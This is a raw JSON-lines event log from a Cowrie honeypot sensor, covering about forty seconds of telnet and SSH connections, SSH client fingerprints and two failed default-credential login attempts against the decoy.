{"eventid":"cowrie.session.closed","duration":39.46269416809082,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:42.830653Z","src_ip":"65.60.27.33","session":"a26690570614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34478,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db3919bd315","protocol":"telnet","message":"New connection: 62.210.97.77:34478 (10.17.0.5:23) [session: 5db3919bd315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:43.737805Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34492,"dst_ip":"10.17.0.5","dst_port":23,"session":"097935a0d14c","protocol":"telnet","message":"New connection: 62.210.97.77:34492 (10.17.0.5:23) [session: 097935a0d14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:43.891674Z"}
{"eventid":"cowrie.session.closed","duration":6.182885646820068,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:45.123677Z","src_ip":"134.209.8.29","session":"fe0b182ecf42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34508,"dst_ip":"10.17.0.5","dst_port":23,"session":"e62fe36d9b0f","protocol":"telnet","message":"New connection: 62.210.97.77:34508 (10.17.0.5:23) [session: e62fe36d9b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:45.548081Z"}
{"eventid":"cowrie.session.closed","duration":34.14105582237244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:46.088776Z","src_ip":"62.210.97.77","session":"548196bab764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34514,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8432e0594c","protocol":"telnet","message":"New connection: 62.210.97.77:34514 (10.17.0.5:23) [session: 2a8432e0594c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:46.197681Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34524,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b27843174e2","protocol":"telnet","message":"New connection: 62.210.97.77:34524 (10.17.0.5:23) [session: 9b27843174e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:46.837257Z"}
{"eventid":"cowrie.session.closed","duration":35.86124277114868,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:47.623317Z","src_ip":"62.210.97.77","session":"b0abdae8f092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34528,"dst_ip":"10.17.0.5","dst_port":23,"session":"85875187ec72","protocol":"telnet","message":"New connection: 62.210.97.77:34528 (10.17.0.5:23) [session: 85875187ec72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:47.797894Z"}
{"eventid":"cowrie.session.closed","duration":34.257591247558594,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:47.804477Z","src_ip":"62.210.97.77","session":"31e58dc829de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34534,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a18959c16f","protocol":"telnet","message":"New connection: 62.210.97.77:34534 (10.17.0.5:23) [session: 23a18959c16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:48.398803Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":46410,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd3753c5973c","protocol":"ssh","message":"New connection: 187.16.96.250:46410 (10.17.0.5:22) [session: fd3753c5973c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:48.714760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:48.719262Z","src_ip":"187.16.96.250","session":"fd3753c5973c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:48.836544Z","src_ip":"187.16.96.250","session":"fd3753c5973c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"administrator123","message":"login attempt [guest/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:49.351601Z","src_ip":"187.16.96.250","session":"fd3753c5973c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:50.472563Z","src_ip":"187.16.96.250","session":"fd3753c5973c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.6442015171051,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:50.601945Z","src_ip":"62.210.97.77","session":"9d97241241b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34700,"dst_ip":"10.17.0.5","dst_port":23,"session":"44bf857b19c0","protocol":"telnet","message":"New connection: 62.210.97.77:34700 (10.17.0.5:23) [session: 44bf857b19c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:51.697242Z"}
{"eventid":"cowrie.session.closed","duration":35.18264102935791,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:52.382726Z","src_ip":"62.210.97.77","session":"280f68f626bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34067130088806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:52.639534Z","src_ip":"62.210.97.77","session":"958c447e7156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49780,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f1461973640","protocol":"telnet","message":"New connection: 38.54.119.93:49780 (10.17.0.5:23) [session: 7f1461973640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:53.711087Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":60198,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa8064c55c2","protocol":"ssh","message":"New connection: 156.232.13.218:60198 (10.17.0.5:22) [session: 4fa8064c55c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:53.850624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:53.856014Z","src_ip":"156.232.13.218","session":"4fa8064c55c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:53.932324Z","src_ip":"156.232.13.218","session":"4fa8064c55c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu123456","message":"login attempt [Ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:54.257279Z","src_ip":"156.232.13.218","session":"4fa8064c55c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.05862545967102,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:54.447603Z","src_ip":"134.209.8.29","session":"e22232d7e03c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34714,"dst_ip":"10.17.0.5","dst_port":23,"session":"dec0ee7c4af5","protocol":"telnet","message":"New connection: 62.210.97.77:34714 (10.17.0.5:23) [session: dec0ee7c4af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:54.484132Z"}
{"eventid":"cowrie.session.closed","duration":120.00189423561096,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:54.529602Z","src_ip":"134.209.8.29","session":"5c45803e3964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50652,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a9010850c44","protocol":"telnet","message":"New connection: 38.54.119.93:50652 (10.17.0.5:23) [session: 1a9010850c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:55.082473Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:55.338614Z","src_ip":"156.232.13.218","session":"4fa8064c55c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34726,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b4d4729c67","protocol":"telnet","message":"New connection: 62.210.97.77:34726 (10.17.0.5:23) [session: a2b4d4729c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:55.401563Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57148,"dst_ip":"10.17.0.5","dst_port":23,"session":"51168f3b48b8","protocol":"telnet","message":"New connection: 65.60.27.33:57148 (10.17.0.5:23) [session: 51168f3b48b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:56.268794Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58584,"dst_ip":"10.17.0.5","dst_port":23,"session":"60e1e26f6493","protocol":"telnet","message":"New connection: 65.60.27.33:58584 (10.17.0.5:23) [session: 60e1e26f6493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:57.700056Z"}
{"eventid":"cowrie.session.closed","duration":44.46950626373291,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:58.353399Z","src_ip":"65.60.27.33","session":"f04d83fac70d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.00718712806702,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:58.500450Z","src_ip":"65.60.27.33","session":"78bc6289d3fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.0264310836792,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:59.266522Z","src_ip":"38.54.119.93","session":"9a8dd3a2d648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48954,"dst_ip":"10.17.0.5","dst_port":23,"session":"639659dc8680","protocol":"telnet","message":"New connection: 62.210.97.77:48954 (10.17.0.5:23) [session: 639659dc8680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:34:59.769238Z"}
{"eventid":"cowrie.session.closed","duration":6.420431613922119,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:00.131359Z","src_ip":"38.54.119.93","session":"7f1461973640","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.187998533248901,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:01.270157Z","src_ip":"38.54.119.93","session":"1a9010850c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.275551319122314,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:01.506468Z","src_ip":"62.210.97.77","session":"fbb8f3effb42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48956,"dst_ip":"10.17.0.5","dst_port":23,"session":"7344083566cd","protocol":"telnet","message":"New connection: 62.210.97.77:48956 (10.17.0.5:23) [session: 7344083566cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:01.523891Z"}
{"eventid":"cowrie.session.closed","duration":47.87996745109558,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:01.920815Z","src_ip":"165.232.131.181","session":"0bafa784c797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.883742570877075,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:03.281144Z","src_ip":"38.54.119.93","session":"79a0c0f31c82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.817461013793945,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:03.966487Z","src_ip":"65.60.27.33","session":"d5a091aba05a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42116,"dst_ip":"10.17.0.5","dst_port":23,"session":"44854dde6f1e","protocol":"telnet","message":"New connection: 165.232.131.181:42116 (10.17.0.5:23) [session: 44854dde6f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:03.984819Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42658,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8bab28951de","protocol":"telnet","message":"New connection: 165.232.131.181:42658 (10.17.0.5:23) [session: b8bab28951de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:03.999773Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48968,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c1d10e7bf1c","protocol":"telnet","message":"New connection: 62.210.97.77:48968 (10.17.0.5:23) [session: 7c1d10e7bf1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:04.261469Z"}
{"eventid":"cowrie.session.closed","duration":35.26446342468262,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:04.919127Z","src_ip":"62.210.97.77","session":"9bff568e3d5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.47253751754761,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:05.455730Z","src_ip":"165.232.131.181","session":"509e6195c7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39700,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5dbe7d14799","protocol":"telnet","message":"New connection: 65.60.27.33:39700 (10.17.0.5:23) [session: a5dbe7d14799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:05.758951Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48980,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c02f7603ed","protocol":"telnet","message":"New connection: 62.210.97.77:48980 (10.17.0.5:23) [session: a4c02f7603ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:06.607720Z"}
{"eventid":"cowrie.session.closed","duration":34.239856243133545,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:07.586436Z","src_ip":"62.210.97.77","session":"854e97aea928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.315227031707764,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:07.667961Z","src_ip":"62.210.97.77","session":"f11fad48edac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42214,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7eb7b90d519","protocol":"telnet","message":"New connection: 65.60.27.33:42214 (10.17.0.5:23) [session: b7eb7b90d519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:07.756705Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48982,"dst_ip":"10.17.0.5","dst_port":23,"session":"fde58e5e99a4","protocol":"telnet","message":"New connection: 62.210.97.77:48982 (10.17.0.5:23) [session: fde58e5e99a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:08.284519Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44362,"dst_ip":"10.17.0.5","dst_port":23,"session":"d031d2a55fed","protocol":"telnet","message":"New connection: 65.60.27.33:44362 (10.17.0.5:23) [session: d031d2a55fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:09.824134Z"}
{"eventid":"cowrie.session.closed","duration":32.388203859329224,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:10.196229Z","src_ip":"62.210.97.77","session":"5b334e63dae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.332972288131714,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:11.729774Z","src_ip":"62.210.97.77","session":"d58c9237ee3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.302279233932495,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:11.825414Z","src_ip":"62.210.97.77","session":"fbd346b9a1f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9192373752594,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:13.460037Z","src_ip":"62.210.97.77","session":"c9a99e4d87de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33302,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef0c217f356","protocol":"telnet","message":"New connection: 62.210.97.77:33302 (10.17.0.5:23) [session: 3ef0c217f356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:13.552011Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33304,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ffc769cc546","protocol":"telnet","message":"New connection: 62.210.97.77:33304 (10.17.0.5:23) [session: 2ffc769cc546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:13.563087Z"}
{"eventid":"cowrie.session.closed","duration":32.83726716041565,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:14.268042Z","src_ip":"62.210.97.77","session":"f9b993bacc87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33310,"dst_ip":"10.17.0.5","dst_port":23,"session":"574e0e26e074","protocol":"telnet","message":"New connection: 62.210.97.77:33310 (10.17.0.5:23) [session: 574e0e26e074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:14.460439Z"}
{"eventid":"cowrie.session.closed","duration":31.3337242603302,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:15.071418Z","src_ip":"62.210.97.77","session":"5db3919bd315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50556,"dst_ip":"10.17.0.5","dst_port":23,"session":"05afef503a9c","protocol":"telnet","message":"New connection: 65.60.27.33:50556 (10.17.0.5:23) [session: 05afef503a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:15.211751Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33326,"dst_ip":"10.17.0.5","dst_port":23,"session":"eff77bcc6958","protocol":"telnet","message":"New connection: 62.210.97.77:33326 (10.17.0.5:23) [session: eff77bcc6958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:15.787102Z"}
{"eventid":"cowrie.session.closed","duration":33.53802251815796,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:17.429566Z","src_ip":"62.210.97.77","session":"097935a0d14c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53170,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6bfee05d871","protocol":"telnet","message":"New connection: 65.60.27.33:53170 (10.17.0.5:23) [session: e6bfee05d871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:17.754528Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33340,"dst_ip":"10.17.0.5","dst_port":23,"session":"06da1cc12200","protocol":"telnet","message":"New connection: 62.210.97.77:33340 (10.17.0.5:23) [session: 06da1cc12200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:17.792006Z"}
{"eventid":"cowrie.session.closed","duration":40.78426146507263,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:18.062601Z","src_ip":"62.210.97.77","session":"ec59800036bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.009411334991455,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:35:18.846544Z","src_ip":"62.210.97.77","session":"9b27843174e2","protocol":"telnet"}
